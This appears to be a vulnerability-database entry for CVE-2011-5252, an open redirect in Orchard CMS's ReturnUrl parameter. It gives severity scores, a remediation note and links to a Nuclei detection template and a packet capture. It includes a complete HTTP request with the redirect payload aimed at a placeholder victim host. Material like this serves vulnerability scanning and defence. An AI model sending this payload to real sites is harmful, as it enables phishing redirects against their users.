| Title | Orchard 'ReturnUrl' Parameter URI - Open Redirect |
|---|---|
| Author | ctflearner |
| Severity | Medium |
| Impact | An attacker can craft a malicious URL to redirect users to a malicious website, leading to phishing attacks. |
| Remediation | Validate and sanitize user input for the 'ReturnUrl' parameter to prevent open redirect vulnerabilities. |
| CVSS Score | 5.8 |
| EPSS Score | 0.26961 |
| CVE ID | CVE-2011-5252 |
| CWE ID | CWE-20 |
| Tags | cve cve2011 redirect orchard orchardproject vuln |
Open redirect vulnerability in Users/Account/LogOff in Orchard 1.0.x before 1.0.21, 1.1.x before 1.1.31, 1.2.x before 1.2.42, and 1.3.x before 1.3.10 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the ReturnUrl parameter.
GET /orchard/Users/Account/LogOff?ReturnUrl=%2f%2fhttp://interact.sh%3f HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2011/CVE-2011-5252.yaml
🦈 Packet Capture: ⬇️ Download cve-2011-5252.pcap
N/AN/A